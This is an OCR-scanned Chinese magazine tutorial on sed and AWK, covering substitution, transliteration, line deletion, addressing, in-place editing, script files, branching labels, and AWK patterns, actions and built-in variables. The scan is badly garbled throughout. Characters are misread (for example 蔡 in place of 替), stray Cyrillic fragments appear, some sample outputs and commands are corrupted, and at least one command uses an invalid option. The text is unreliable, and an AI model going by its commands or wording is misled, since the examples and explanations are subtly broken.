[ 笠 换 后 的 字符 串 ] 和 [标志 ] 是 可 以 省 略 的 。 
蔡 换 后 的 字符 串 省 略 时 表示 删除 匹配 的 字符 串 。 














$ sed -e 's/aaa//g' input.txt 
bbbcccddd bbbcccddd 
AAABBBCCCDDD bbbcccddd 

123256789017 !"#$%&'()?/_ 


原 字 符 串 可 以 用 正则 表达 式 表 示 。 原 字符 
申 中 含有 “/” 时 ,要 在 其 前 面 加 八 ( 反 和 斜 杠 》 
进行 转 义 处 理 , 对 于 蔡 换 后 的 字符 串 也 是 同样 的 。 
#sed -e 's/\//R/' input.txt 
1234567890!? !"#$%&'()?R_ 
还 可 以 把 分 隔 符 变 为 “/” 以 外 的 字符 。 在 
“S ”后 面 指定 要 作为 分 隔 符 的 字符 。 比 如 想 把 ”/ 
usr/local” BHR “usr” 时 , 将 分 隅 符 变 为 “1 ” 
后 可 按照 如 下 所 示 执 行 。 


























$ sed -e 's!/usr/local!/usr!g' sample.txt 





BBR Ае ВА a ИЕ ЖЫЛ 
来 使 用 ， 不 过 那样 就 很 难 与 蔡 换 字符 串 进 行 区 
分 , 所 以 还 是 尽量 使 用 像 /\、# 这 样 的 符号 比较 好 。 

[ 蔡 换 后 的 字符 串 ] 中 出 现 “&” 时 表示 和 
查找 字符 串 一 样 。 下 面 这 个 例子 表示 把 “aaa” 
替换 成 “+aaa+”。 





























О йй 


'| 输入 .txt > 输出 .txt 
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从 现在 开始 sed/AWK 再 入 门 


1 UNIX 工 程 师 的 喜好 
特辑 





$ sed -e 's/aaa/+&+/g' input.txt 
+aaatbbbcccddd +aaa+bbbcccddd 


AAABBBCCCDDD +aaa+bbbcccddd 
-BK 
和 原 字 符 串 的 正则 表达 式 一 起 使 用 是 很 便 
利 的 。 与 正则 表达 式 匹 配 的 字符 串 可 以 用 “&” 
来 引用 。 比 如 ， 如 下 所 示 ， 与 “.*” 匹 配 的 字 
符 串 可 以 用 “&” 来 表示 , 如 果 指 定 “output: &”, 
执行 后 各 行 的 行头 都 加 了 “output:”。 

















$ sed -e 's/.*/output: &/g' input.txt 
output: aaabbbcccddd aaabbbcccddd 


output: AAABBBCCCDDD aaabbbcccddd 
不 想 做 特别 的 处 理 ， 只 是 想 把 “&” 字符 
替换 掉 时 ， 使 用 V 进行 转 义 处 理 指定 为 “\&” 
即 可 。 分 隔 符 为 “/” 并 且 想 蔡 换 字符 “/” 时 ， 
则 指定 为 “V” 即 可 (图 2 )。 
标志 可 以 指定 为 “g( Global， 把 整个 文章 








作为 对 象 )/p( Print， 表 示 置 换 后 的 结果 )/w 
( Write, 输出 文件 ”。 也 可 以 同时 指定 多 个 标志 。 
标志 “g” 正 如 此 前 说 明 的 那样 ， 在 把 文革 整体 
作为 蔡 换 范围 时 使 用 。 或 者 在 sed 局 动 时 加 上 
“-g” 选 项 也 可 以 起 到 相同 的 效果 。 


$ sed -e 's/bbb/eee/g' input.txt 


$ sed -g -e 's/bbb/eee/' input.txt 
1 以 上 2 行 的 执行 结果 是 一 样 的 


标志 “p” 只 表示 发 生 督 换 的 行 ， 不 过 默认 














情况 下 不 管 是 不 是 发 生 蔡 换 sed 都 会 把 输入 数据 
输出 到 标准 输出 ， 所 以 如 果 只 加 标志 “p”， 会 输 


” 2 “а”, м “/” 为 替换 后 字符 串 时 











Е" 
ө 蔡 换 成 & 

$ sed -e 's/b/\&/g' input.txt 
aaa&&&cccddd aaa&&&cccddd ... 

ө 蔡 换 成 \” 

$ sed -e 's/b/\\/g' input.txt 
aaa\\\cccddd aaa\\\cccddd ... 

ө 蔡 换 成 / 

$ sed -e 's/b/\//g' input.txt 
aaa///cccddd aaa///cccddd ... J 











出 两 行 相 同 的 内 容 。 只 想 表 示 发 生 蔡 换 的 行 时 ， 
可 以 在 sed 启动 时 加 上 “-n” 选 项 来 控制 标准 输出 。 


$ sed -n -e 's/bbb/eee/p' input.txt 


aaaeeecccddd aaabbbcccddd 
АААВВВСССррр аааееесссаф@ < 一 只 表示 被 替换 的 行 


如 条 想 把 蔡 换 后 的 结果 写 到 文件 中 ， 可 以 
(EH “w” 标志 。 在 w 后 面 指定 输出 文件 名 。 

















$ sed -e 's/aaa/eee/gw output.txt' \ 
input.txt 





此 时 在 output.txt 中 只 输出 匹配 的 行 。 如 果 
同时 还 想 输 出 不 匹配 的 行 , 使 用 “w” 命令 会 
更 人 简单 一 些 。 


$ sed -e 's/aaa/eee/g' -e 'w output.txt' \ Æ 


input.txt 





这 里 指定 了 多 个 “-e 脚 本 ”，sed 对 于 一 个 
输入 可 以 执行 多 个 脚本 。 稍 后 会 详细 说 明 。 


y 命 令 ( 奉 换 1 个 字符 ) 
在 希望 把 某 个 字符 蔡 换 成 为 一 个 字符 时 使 





用 。 基 本 使 用 格式 如 下 所 示 。 


$ sed -e 'y/ 蔡 换 前 /替换 后 /' 输入 -txt 





АВЕ [Н] Н] ТЕ “ЖЕЛ” ЯП “йл” АП 
采 只 替换 一 个 字符 ,使 用 s 命 令 也 可 以 ,不 过 
使 用 y 命 令 可 以 同时 叔 换 多 个 字符 。 比 如 要 同 
247 аә х, b>y, сәх, НАА Кх 
样 指定 即 可 。 
$ sed -e 'y/abc/xyz/' input.txt 


xxxyyyzzzddd xxxyyyzzzddd 





蔡 换 前 字符 的 位 置 与 符 换 后 字符 的 位 置 要 
相同 。 因 此 ， 如 打 蔡 换 前 与 蔡 换 后 的 长 度 不 同 
就 会 出 错 。 比 如 严 文 小 写字 母 瞧 换 成 大 写字 母 
ШИШЕ Ла 








$ sed -e 'y/abcdefghijklmnopqrstuvwxyz/ 


ABCDEFGHIJKLMNOPQRSTUVWXYZ/' input.txt 











d 命 令 是 删除 指定 行 ， 并 将 剩余 行进 行 输 
出 的 命令 。 删 除 第 1 ~ 2 行 的 例子 如 下 所 示 。 


$ sed -e '1,2d' input.txt 
1234567890!? !"#$%&'()?/_ 





这 里 使 用 “地 址 ”来 指定 行 号 , 也 可 以 省 略 。 
省 略 就 表示 删除 所 有 行 ， 输 出 结 来 则 变 为 空 。 


$ sed -e 'd' input.txt 


| 输出 结果 为 空 





为 外 ， 如 采 只 执行 d 命 令 ， 输 入 文件 是 不 会 
发 生变 化 的 , Из ЛЕВОЙ АЧ 


бш ш 


只 对 特定 的 行进 行 处 理 时 ， 就 会 用 到 “地 
址 ”( 表 1 )。 如 果 省 略 地 址 ， 所 有 的 输入 行 都 会 
当 作 处 理 对 象 。 只 指定 一 个 地 址 时 ， 只 有 指定 
行 会 作为 处 理 对 象 。 指 定 两 个 地 址 并 以 “， 分 
隔 ， 这 是 范围 指定 。 表 示 将 从 第 一 个 行 号 开始 
到 第 二 个 行 号 结束 的 行 作为 处 理 对 象 。 如 果 第 
二 个 数字 与 第 一 个 相同 或 比 第 一 个 小 时 ， 只 有 

















第 一 个 数字 指定 的 行 才 会 作为 处 理 对 象 。 最 后 
一 行 用 “$” 指定 。 


$ sed -n -e '1,3p' input.txt 


$ sed -n -e '2,$p' input.txt 


1 表示 2~ 最 后 一 行 


地 址 除了 使 用 数字 ， 还 可 以 使 用 正则 表达 
式 。 比 如 , 指定 从 以 “aaa” 开始 的 行 到 以 “bbb” 
结尾 的 行为 处 理 对 象 的 例子 如 下 所 示 。 


”жЖж1 地 址 指定 的 例子 











地 址 例 表示 的 含义 
(未 指定 ) | 所 有 数据 
3 第 3 行 


20,$ 从 第 20 行 开始 到 最 后 一 行为 止 
第 10 行 (第 2 数字 比 第 1 个 数字 小 的 
情况 ) 
/^[0-9]/ | 所 有 以 数字 开头 的 行 
15,/7$/ | 从 第 15 行 开始 到 以 Z 结 尾 的 行为 止 
510! 从 第 5 行 开 始 到 第 10 行 以 外 的 行 ( 即 
А6 1~4 行 和 11~ 最 后 一 行 ) 
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简单 强大 的 文本 处 理工 具 
sed 详解 及 用 法 


$ sed -n -e '/^aaa/,/ddd$/p' input.txt 
aaabbbcccddd aaabbbcccddd 


AAABBBCCCDDD aaabbbcccddd 





如 果 与 结束 行 指定 的 模式 相 匹 配 的 行 不 
存在 ,一 直到 输入 数据 的 结尾 (最 后 一 行 ) 为 
止 的 行 会 作为 处 理 对 象 。 在 寻找 结束 行 的 过 
程 中 ， 即 使 再 次 出 现 与 开始 行 匹配 的 行 也 会 
被 忽略 。 





g= 24 g 

对 单行 脚本 来 说 很 方 
便 的 选项 

sed 还 有 很 多 其 他 的 选项 ， 因 此 可 以 组 成 
很 复杂 的 脚本 。 比 如 一 次 性 执行 多 个 命令 、 轿 
盖 输 入 文件 、 做 成 备份 文件 等 ， 有 很 多 对 于 单 
行 脚 本 来 说 很 方便 的 选项 。 
的 指定 多 个 命令 

以 上 介绍 的 sed 例 子 ， 都 是 一 次 只 执行 一 
个 命令 ， 实 际 上 可 以 同时 执行 多 个 命令 。 命 令 
和 命令 之 间 用 分 号 “分隔 。 用 于 删除 的 d 命 
今 和 用 于 字符 串 奉 换 的 S$ 命 邻 组 合 起 来 执行 的 
例子 如 下 所 示 。 























$ sed -e '2d;s/aaa/eee/g' input.txt 
12151] 0101x010 [ә [е 1110] 0] ole [ә (0 





123456789017 !"#$%&'()?/_ 


上 面 的 例子 表示 对 于 输入 数据 ， 先 删除 第 
2 行 后 ， 再 把 aaa 符 换 成 eee。 指 定 两 个 及 两 个 
以 上 的 命令 时 ， 对 于 文件 的 每 一 行 ( 按 顺序 ) 执 
行 各 个 命令 。 而 不 是 对 输入 数据 的 所 有 行 执行 
第 一 个 命令 后 再 执行 第 二 个 命令 。 在 上 例 中 ， 





对 第 1 行 执行 4 命令 ， 然 后 再 执行 s 命 令 ， 接 着 
再 对 第 二 行 执行 4 命令 和 8$ 人 命令。 如 此 反复 操 
作 直 到 最 后 一 行 。 

还 有 其 他 的 方法 可 以 连接 命令 。 在 sed 的 
启动 选项 中 ， 可 以 通过 指定 多 个 “-e' 脚 本 '” 来 


执行 多 个 命令 。 





$ sed -e '2d' -e 's/aaa/eee/g' input.txt 
eeebbbcccddd eeebbbcccddd 


123456789017 !"#$%&'002/_ 
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从 现在 开始 sed/AWK 再 入 门 


UNIX 工 程 师 的 喜好 
特辑 ] 





С) 文 件 输出 


要 把 处 理 结果 写 到 文件 中 ， 可 以 使 用 “>” 








重 定 问 到 文件 ,或 者 使 用 w 命 令 写 到 文件 。 不 
过 还 可 以 在 sed 启 动 时 加 上 “-i” 选 项 ， 将 处 理 
结果 履 盖 到 源 输入 文件 中 。 





$ sed -i -e 's/bbb/eee/' input.txt 


甚至 还 可 以 将 处 理 前 的 数据 作为 备份 文件 
保存 起 来 。 在 “-i” 选 项 后 面 指定 在 备份 文件 名 
尾部 要 加 的 后 级。 比如 生成 后 弘 为 “.bak” 的 备 
份 文件 的 例子 如 下 所 示 。 











$ sed -i.bak -e 's/bbb/eee/' input.txt 
$ ls 


input.txt input.txt.bak 
1 新 生成 备份 文件 ( input. txt.bak) 


©) 双 直 引号 和 单 直 引 号 


通常 sed 在 Bourne Shell 或 C Shell 上 执行 。 
对 于 这 样 的 shell,"( 双 直 引 号 )/$( 美 元 符 )/ ` 
( 重 首 符 )/A\( 反 和 斜 杠 :日 元 符号) 等 字符 都 有 特 
殊 的 含义 。 因 此 ， 用 sed 指 定 脚 本 时 ， 为 了 不 作 
为 特殊 字符 处 理 ， 需 要 用 '( 单 下 引号 ) 括 起 来 。 
脚本 中 如 果 不 使 用 正则 表达 式 和 符号 ， 只 使 用 
单纯 字符 串 的 话 ， 不 用 “” 括 起 来 也 可 以 进行 
处 理 。 不 过 为 了 shell 解 释 结果 与 预期 结果 不 出 
现 偏 差 ， 还 是 习惯 使 用 单 下 引号 为 好 。 

还 可 以 用 “"” 把 脚本 括 起 来 。“-e "脚本 "” 
这 样 就 可 以 使 用 shell 变 量 了 。$USER (НР) 
/$SHOSTNAME( 主 机 名 )/ $ТЕКМ (终端 名 ) 
/$PWD( 当 前 目录 ) 等 变量 都 可 以 作为 模式 来 
指定 。 














$ sed -e "s/$HOSTNAME/new_hostname/g" 


/etc/hosts 

也 可 以 使 用 用 户 目 定义 变量 。 下 面 这 个 
例子 中 , 定义 用 户 日 定义 变量 “$FROM” 和 
“$STO”， 并 在 sed 脚 本 中 进行 使 用 。 脚 本 用 “"” 
括 起 来 了 ， 把 shell 变 量 进行 展开 ， 即 为 “s/aaa/ 
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$ FROM="aaa" 


$ TO="eee" 
$ sed -e "s/$FROM/$TO/g" input.txt 


在 字符 串 很 复杂 的 情况 下 ,使 用 用 户 日 定 
义 变量 可 以 简化 脚本 。 在 双 下 引号 内 使 用 特殊 
符号 时 ， 要 用 “\” ”进行 转 义 处 理 。 


人 区 本 文件 的 使 














sed 可 以 读 取 脚本 文件 进行 执行 。 可 以 用 
sed 进 行 条件 分 文 或 使 用 标签 进行 循环 等 复杂 
的 处 理 ， 这 在 对 大 量 文件 进行 相同 处 理 时 是 很 
便利 的 。 


GO 脚本 文件 的 读 取 和 执行 


读 取 脚本 文件 进行 执行 ， 要 使 用 如 下 所 示 
的 “-f 选项 。 


$ sed -f 脚本 文件 输入 文件 


如 果 指 定 多 个 “-f 选项 ， 按 指定 的 顺序 从 
文件 中 读 取 脚本 进行 执行 。 也 可 以 同时 使 用 “-e” 











选项 和 “-f 选项 。 在 脚本 文件 中 1 行 记述 1 个 
处 理 。 


| 用 以 下 的 内 容 做 成 文件 samp le .sed 


1,3s/aaa/eee/g 
3d 





上 述 脚 本 文件 (sample.sed ) 表 示 的 处 理 
是 : 对 第 1~3 行 进行 奉 换 (aaa 一 еее), З 
余 第 3 行 。 使 用 该 脚本 文件 进行 执行 结果 如 下 
所 示 。 


$ sed -f sample.sed input.txt 
eeebbbcccddd eeebbbcccddd 





AAABBBCCCDDD eeebbbcccddd 


бй 命 令 的 组 合 





如 果 在 脚本 文件 中 使 用 “1...}” 对 命令 进 
行 组 合 ， 就 可 以 对 于 一 个 地 址 执行 多 个 命令 。 
如 下 所 示 的 脚本 文件 表示 对 第 1 ~ 3 行 执行 3 个 





{Же 
s/aaa/eee/g 
y/abc/xyz/ 


p 
} 


ÇO 标 签 / 分支 处 理 / 循环 处 理 


可 以 在 脚本 中 设置 标签 进行 循环 处 理 ， 还 
可 以 将 是 否 执行 了 s 命 令 的 蔡 换 处 理 作 为 判断 
条 件 对 处 理 进行 分 支 ( 表 2 )。sed 竟 然 可 以 进行 
如 此 精细 的 处 理 ， 在 不 少 情况 下 ， 我 们 可 以 感 
觉 到 这 甚至 比 使 用 shell 脚 本 和 了 Perl 脚本 的 效率 
还 高 。 所 以 我 们 还 是 应 该 记 住 可 以 用 sed 进 行 
复杂 处 理 。 

执行 如 下 所 示 的 脚本 文件 ， 它 表示 对 读 入 
的 行 执行 “命令 1.2”， 如 果 存 在 与 模式 匹配 
的 字符 串 ， 那 么 返回 标签 处 ， 对 下 一 行 再 执行 
“命令 1.2”。 如 果 不 存在 与 模式 匹配 的 字符 串 ， 
则 执行 “命令 3”。 

















: 标签 
DA 
命令 1 
和 人 
命令 2 


/模式 /b #38 


命令 3 


VE 标签 / 分支 处 理 的 指定 方法 








简单 强大 的 文本 处 理工 具 第 2 E 
sed 详解 及 用 法 И 


以 下 是 经 第 可 以 看 到 的 循环 处 理 。 删 除 输 
入 数据 的 所 有 换行 符 并 合并 字符 串 。sed 逐 行 
谈 和 人 数据 并 对 每 一 行进 行 处 理 ， 所 以 不 擅长 路 
行 处 理 。 但 是 可 以 通过 循环 处 理 把 数据 合并 成 
一 行 ， 然 后 通过 删除 合并 结 末 中 的 换行 符 (\n ) 
可 以 将 输入 数据 中 的 换行 删 掉 。 











: Loop 
№ 


$Ib Loop 
<$/\п//д 





Е ЛШ ШЕЕ “М” 命令。 如 有 果 满 
ШЖ “816 (不 是 最 后 一 行 》” 就 返回 标签 loop， 
从 而 使 处 理 进行 循环 。 跳 出 循环 后 执行 “sAn//g” 
将 换行 符 一 下 删 掉 。 

把 以 上 脚本 保存 为 “sample2.sed”， 对 列表 
1 的 “input.txt” 进 行 执行 ， 会 输出 一 行 合 并 后 
的 字符 串 。 





$ sed -f sample2.sed input.txt 
aaabbbcccddd aaabbbcccdddAAABBBCCCDDD \ 








sed 可 以 对 应 各 种 字符 串 的 过 滤 , 篇 幅 所 限 , 
暂 不 详细 展开 ， 只 要 记 住 这 部 分 说 明 的 内 容 就 
足够 用 了 。 











指定 万 法 所 表示 的 内 容 
: label% JEEE, label4 EAA EEAS 
b label & 无 条 件 跳 转 到 label 名 指定 的 命令 进行 执行 





条 件 b label 名 


输入 行 满足 条 件 时 ， 跳 转 到 label 名 指定 的 命令 进行 执行 
如 果 指定 “/ 模 式 / 人 标签"， 输 入 行 和 模式 匹配 时 ， 跳 转 到 label 名 指定 的 命令 进行 执行 





条 件 !b label & 


输入 行 不 满足 条 件 时 ， 跳 转 到 label 名 指定 的 何 令 进行 执行 
如 果 指 定 /模式 如 标签 ， 输 入 行 和 模式 不 匹配 时 ， 跳 转 到 label 名 指定 的 命令 进行 执行 














t Label 名 读 入 输入 行 执 行 命令 ， 只 有 在 使 用 s 命 令 蔡 换 成 功 时 才 会 跳 转 到 label 名 指定 的 命令 进行 执行 
T label 名 读 入 输入 行 执 行 命令 ， 在 使 用 s 命 令 蔡 换 不 成 功 时 才 会 跳 转 到 1abel 名 指定 的 命令 进行 执行 
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从 现在 开始 sed/AWK 再 入 门 


1 UNIX 工 程 师 的 喜好 
特辑 





E m = m 
-5 жыр 


~ 4 
pp 


”AWK 的 基础 


М/Ф 5л Irvine systems 股份 有 限 公 司 masahiro@irvinesystems.cojp 12/257, 


这 章 我 们 来 学 习 AWK 的 基础 并 熟悉 其 用 法 。 与 sed 不 同 ，AWK 可 以 用 更 灵活 的 方式 表示 处 理 。 要 理解 AWK 的 
单行 书写 方式 ， 就 需要 先 了 解 一 下 AWK 的 模式 ( pattern ) 并 学 习 它 的 动作 ( action )。 而且， 只 有 掌握 了 应 用 性 脚本 
的 书写 窃 门 ， 才 会 使 用 更 加 深奥 的 用 法 。 另 外 请 好 好 享受 本 文 后 半 部 分 的 单行 脚本 智力 游戏 。 


AWK 作为 
单行 脚本 的 用 法 

为 了 理解 AWK 的 便利 之 处 ,我 们 先 来 看 
一 个 单行 脚本 的 实例 。 笔 者 本 打算 这 么 说 的 ， 
但 是 要 想 把 AWK 运 用 自如 ,首先 需要 理解 
AWK 脚 本 的 构造 。 擅 长 文本 处 理 的 AWK 脚 本 
和 其 他 脚本 语言 稍微 有 些 区 别 。“ 模 式 ” 和 “ 动 
作 ” 的 组 合 对 是 AWK 脚本 的 基本 格式 。 


模式 1 {动作 13 
模式 2 {动作 23 








模式 n СЕ п? 


AWK 和 sed 一 样 ， 也 是 以 行为 单位 来 判断 
是 否 存在 处 理 对 象 。 “模式 ”和 “动作 ”的 组 合 














可 以 解释 为 “对 和 模式 匹配 的 行 执 行动 作 ” 的 
意思 。 模 式 可 以 省 略 ， 此 时 ， 将 针对 所 有 的 行 
执行 动作 。 

AWK 的 语法 和 控制 结构 与 C 语 言 相 似 ， 
所 以 即使 是 第 一 次 接触 AWK 脚本 的 人 也 能 明 
日 脚本 大 概要 执行 的 动作 。 但 是 ， 它 作为 单行 
脚本 ,为 了 使 用 方便 ， 省略 了 语法 解释 中 不 必 
要 的 分 号 “;”、 插 写 “(” 以 及 括号 “) 等。 

那么 我 们 来 看 一 个 AWK 的 单行 脚本 脚本 
的 例子 吧 。 命令 执行 时 ， 需要 指定 AWK 脚本 
和 输入 文本 文件 。 








本 章 的 脚本 都 假定 在 UNIX Shell 系 的 环境 
中 执行 。 为 了 不 让 Shell 误 识别 AWK 脚本 中 出 
现 的 “$、\、"” 等 字符 , 脚本 需要 用 单 直 引 号 (') 
括 起 来 。 

如 果 省 略 inputfile， 则 输入 变 为 /dev/stdin。 
使 用 管道 与 别 的 脚本 结合 使 用 的 例子 如 下 所 示 。 


Ф 别 的 命令 | awk ' 脚 本 ' inputfile 





下 文中 的 四 一 @ 和 sed、grep 一 样 ， 都 是 
按 顺 序 表示 与 模式 匹配 的 所 有 行 。 它 们 省 略 了 
АМК 的 动作 部 分 ， 是 最 简单 的 AWK 的 用 法 。 请 
提供 适当 的 输入 文件 ( inputfile )， 进 行动 作 确 认 。 





中 长 度 超 过 半角 30 个 字符 的 行 (length 等 
字符 串 操 作 和 统计 函数 属于 动作 处 理 系 列 ， 根 
据 AWK 的 版 本 以 及 对 象 文 本 的 字符 编码 不 同 ， 
动作 可 能 稍 有 区 别 。 请 参照 专栏 。) 


$ awk 'Length > 30' inputfile 


O 字段 数 在 $ 个 以 上 10 以 下 的 行 


$ awk 'NF >= 5 && МЕ <= 10' inputfile 





@ 只 表示 最 开始 的 5 行 


$ awk 'NR <= 5' inputfile 


O 只 表示 偶数 行 








$ awk 'NR%2 == 0' inputfile 





$ awk ' Ж ' inputfiLe 














O 表示 第 一 个 字段 的 值 比 100 小 的 行 


$ awk '$1 < 100' inputfile 


包含 “问题 ”或 者 “答案 ”的 行 








$ awk '/ | 答案 /' inputfile 


СФ И “#”' 开头 的 行 (awk 的 注释 行 ) 


$ awk '/^#/' inputfile 





除了 语法 简洁 之 外 ， 还 有 很 多 内 置 函 数 可 
以 省 略 参 数 。 基 本 上 所 有 省 略 参数 的 情况 都 是 
把 下 面 要 说 明 的 表示 处 理 对 象 行 的 $0 的 值 作 
为 默认 参数 。 

在 AWK 中， 变量 和 函数 定义 ， 以 及 一 般 





编程 语言 都 有 的 控制 结构 和 内 置 函 数 也 很 丰富 。 
在 刚才 的 例子 中 ,使 用 内 置 孙 数 length、 内 置 
变量 $SN( 第 N 个 字段 )、NF (字段 数 )、NR( 行 
号 ) 的 条 件 和 表达 式 来 指定 模式 (关于 内 置 也 数 、 
内 置 变量 会 在 稍 后 的 章节 中 进行 说 明 )。 善 于 
记述 模式 ， 是 作为 单行 脚本 进行 应 用 的 第 一 步 。 


的 AWK 可 以 使 用 的 模式 
首先 我 们 来 看 一 下 AWK 可 以 使 用 的 模式 。 








@ 空 模式 
如 果 省 略 模式 ， 所 有 的 行 都 会 匹配 。 





@ 正则 表达 式 
与 sed 一 样 ， 可 以 指定 正则 表达 式 。 


@ 比较 表达 式 和 逻辑 表达 式 

比较 运算 是 关于 大 小 关系 、 是 否 匹 配 等 的 
运算 。 而 且 还 可 以 指定 由 AND( && ) МОВ (||) 
等 逻辑 运算 符 组 合 起 来 的 表达 式 。 











例 


$1 < 100 && $2 == "АВС" 





是 指 第 1 个 字段 小 于 100 并 且 第 2 个 字段 
是 "ABC" 的 行 。 


尝试 并 掌握 
AWK 的 基础 


© BEGIN 和 END 

模式 BEGIN 是 用 AWK 脚本 执行 程序 的 初 
始 化 动作 。 伴 随 着 模式 BEGIN 的 动作 是 在 输 
入 列 读 入 之 前 进行 处 理 的 。 在 初始 化 变量 、 打 
印 输出 报告 的 表 头 、 设 置 输入 列 的 分 隔 符 等 时 
使 用 。 

伴随 着 模式 的 END 动作 是 在 所 有 输入 列 
全 部 读 和 人 之 后 进行 处 理 的 。 所 以 在 统计 结果 输 
出 、 报 告 页 脚 输出 ， 以 及 处 理 一 些 扫尾 工作 时 
使 用 。 





© 模式 沁 围 
pattern1, pattern2 


如 上 所 示 , 可 以 将 从 patternl 出 现 开 始 
到 pattern2 出 现 为 止 的 范围 指定 为 选择 对 象 的 
їп, [В] 


例 ) 
/^begin$/, /^епа$/ 


把 从 begin 出现 的 行 开始 到 end 出现 为 止 的 

内 容 进 行 输出 。 

begin 

这 个 地 方 被 选中 

这 里 也 被 选中 

end 

这 里 没有 被 选中 

begin 

但 这 里 被 选中 


上 面 的 数据 的 处 理 结果 如 下 所 示 。 


$ awk '/^begin$/, /^end$/' inputfile 





这 个 地 方 被 选中 
这 里 也 被 选中 
但 这 里 被 选中 


接 下 来 ， 我 们 来 看 一 下 使 用 模式 的 单行 脚 
本 的 例子 吧 。 
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从 现在 开始 sed/AWK 再 入 门 





| 1 UNIX 工 程 师 的 喜好 
特辑 


如 下 所 示 的 脚本 ， 是 删除 空白 行 的 模式 的 
ЛЕЙ» 





(8) 删除 空白 行 [ 例 1 1 


$ awk 'Length != 0' inputfile 





删除 空白 行 [ 例 2 | 


脚本 (8 是 指 与 行 整体 长 度 不 为 0 的 行 匹配 ， 
所 以 只 删除 只 有 换行 符 的 行 。 

脚本 (是 指 与 存在 字段 的 行 匹 配 , 通 营 
FS 的 信 是 指 删除 只 有 换行 符 的 行 以 及 只 有 Tab 
和 空格 的 行 。 

下 面 , 我 们 看 一 下 删除 连续 的 相同 行 的 例子 。 
此 时 , 不 仅 要 使 用 模式 , 还 要 使 用 动作 来 处 理 ( 关 
于 动作 部 分 的 解说 ， 在 稍 后 的 章节 中 进行 )。 























N 


10 删除 空白 行 [ 例 3 ] 


$ awk 'before != $0 < print; before = 


$0 }' inputfile 





四 删除 空白 行 [ 例 4] 


$ awk 'МЕ != 0 || bf != 0 < print; В 


bf = NF }' inputfile 





脚本 4 是 指 把 连续 的 相同 行 整理 为 一 行 。 
记 住 之 前 一 行 ， 与 新 输入 行进 行 比较 ， 如果 内 
容 不 一 样 ， 将 此 输入 行 原文 输出 。 


КЕИ AWK 处 理 和 日 语 字符 串 


AWK 有 各 种 各 样 的 衍生 版 本 。 由 Linux、MacOsS 
等 的 标准 安装 携带 的 AWK 有 时 不 能 适当 地 处 理 多 字 
节 字 符 编 码 。gawk 可 以 对 应 相当 范围 的 字符 编码 ， 
所 以 在 使 用 标准 AWK 处 理 不 了 时 ， 请 一 定 用 gawk 
试 一 试 。AWK 的 内 部 动作 选项 可 以 用 如 下 所 示 的 -W 





脚本 地 是 指 将 多 个 空白 行 整理 为 一 行 。 筛 
选 不 显示 的 行 的 条 件 为 “当前 行 与 之 前 一 行 都 
是 空白 行 时 ”。 所 以 ， 对 这 个 条 件 取 非 ， 则 变 
为 第 选 显 示 行 的 条 件 ， 即 “当前 行 与 之 前 一 行 
有 1 行 不 为 空 日 行 时 ”。 














@ 轨 空白 行 削 除 [ 例 5 1 


$ awk '< 19С%11 = id[$1] " " NR } END 


{ for (elm in id) print elm " " 
idCelm]}' inputfile 








脚本 归 是 指 将 输入 行 根 据 各 要 素 ( 这 里 指 
第 1 个 字段 ) 的 什 ， 将 第 1 个 字段 发 生 重复 的 行 
集中 起 来 进行 输出 。 字 段 不 仅 限 于 1， 可 以 根 
据 实际 情况 指定 适当 的 值 。 便 于 在 有 很 多 行 、 
要 检查 都 是 什么 地 方 发 生 重 复 的 情况 下 使 用 。 

怎么 样 ? sed 和 ex、vi(ex 模 式 ) 一 样 ， 将 
与 模式 匹配 的 行 或 匹配 的 地 方 的 蔡 换 和 删除 作 
为 行 编 辑 絮 命令 进行 指定 ， 相 对 而 言 ，AWK 
是 一 种 更 像 编程 语言 的 脚本 形式 。 比 较 人 简单 的 
处 理 可 以 简单 快捷 地 使 用 sed， 复 杂 的 处 理 则 
使 用 AWK， 这 样 进 行 脚本 处 理 才 是 正确 的 做 
法 (当然 ， 进 行 复杂 处 理 的 sed 拼 图 也 是 工程 师 
的 于 和 


а AWK 脚本 的 写法 入 门 


至 此 为 止 ， 我 们 从 命令 行 的 角度 对 如 何 使 
用 作为 单行 脚本 的 AWK 进行 了 说 明 。 记 述 了 
动作 部 分 、 相 对 更 复杂 的 较 长 的 脚本 可 以 写成 
脚本 文件 进行 执行 。 
































来 指定 。 根 据 AWK 人 处 理 万 式 的 不 同 ， 有 了 时 也 可 以 指 
定 所 用 的 字符 编码 。 


$ gawk -W ctype=UTF8 








执行 脚本 文件 时 ， 指 定 方法 如 下 所 示 。 


$ awk -f scriptfile inputfile 


上 一 市 主要 以 模式 为 中 心 进行 了 说 明 。 为 
了 进一步 活用 AWK， 有 必要 理解 一 下 动作 部 
分 的 记述 方法 。 本 节 将 对 动作 部 分 的 记述 方法 ， 
以 及 AWK 的 变量 进行 说 明 。 


С) 动作 


动作 (action )， 对 于 一 般 的 语言 而 言 就 是 
指 程序 本 身 。 根 据 模式 选 定 的 动作 执行 与 模式 
匹配 的 行 的 输出 、 计 算 等 处 理 。 和 省 略 动作 时 ， 
与 模式 匹配 的 所 有 行 都 会 输出 。 




















* 在 动作 中 可 以 使 用 的 语句 
表达 式 : 常量 , 变量 , 代入 ‚ ВАА 
print 表达 式 的 排列 
printf 格式 ， 表 达 式 的 排列 
i 下 《表达 式 》 语句 
if (RAR: 语句 else 语句 
while 〈 表 达 式 ) 语句 
do 语句 while (ATÈ) 
for СА; FAN; FAA) 语句 
for (变量 in 数组 ) 语句 
break 
continue 
пехї 
exit 
exit 表达 式 
{ 表达 式 的 排列 >} 


关于 If、while、for 等 的 真 假 判 定 ， 当 表 
达 式 的 结果 为 NULL 或 0 时 为 假 (FALSE )， 除 
此 以 外 则 为 真 ( TRUE )。 


在 AWK 中 有 几 个 比较 特别 的 为 了 控制 和 
数据 解析 的 内 置 变 量 。 这 里 我 们 介绍 一 下 第 用 
的 几 个 内 置 变量 。 


51,52," *,5п#0 50 
$ 后 的 数字 表示 当前 输入 行 的 第 几 个 字段 。 
也 就 是 说 ，$1 表示 第 1 个 字段 。 而 且 ， 还 可 以 








尝试 并 掌握 
AWK 的 基础 





在 $ 后 加 上 变量 动态 地 指定 字段 。 比 如 ， 变 量 
n 的 值 是 3 时 ，$n 表 示 的 是 第 3 个 字段 。 
$0 表 示 的 是 输入 行 全 体 。 





例 ) 
行 的 分 阳 符 为 换行 全， 字段 的 分 隔 符 为 
Tab 或 空格 ， 当 前 行内 容 如 下 时 ， 
абс def ghi 
则 结果 如 下 所 示 。 
"abc" 
"def" 


"ghi H 
"abc def ghi" 





ARGC, ARGV 

ARGC 和 ARGV 是 为 了 取得 awk 局 动 时 的 
命令 行 参数 而 设 定 的 变量 。ARGC 和 ARGYV 保 
存 的 内 容 分 别 如 下 所 示 。 





